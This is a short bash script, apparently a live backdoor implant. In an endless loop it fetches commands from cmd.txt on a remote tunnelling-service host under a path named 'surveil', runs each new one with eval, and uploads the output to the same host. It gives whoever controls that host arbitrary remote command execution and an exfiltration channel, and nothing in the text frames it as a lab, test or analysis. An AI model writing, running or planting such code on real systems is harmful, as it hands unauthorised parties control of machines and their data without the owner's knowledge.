#!/bin/bash
D=https://itocu-144-225-109-109.run.pinggy-free.link/surveil
last=''
while true; do
  body=$(curl -sk --max-time 15 $D/cmd.txt 2>/dev/null)
  if [ -n "$body" ] && [ "$body" != "$last" ]; then
    last="$body"
    { echo "=== CMD $body"; eval "$body"; echo "=== END"; } > /tmp/sv_out 2>&1
    curl -sk --max-time 30 --data-binary @/tmp/sv_out $D/up >/dev/null 2>&1
  fi
  sleep 2
done
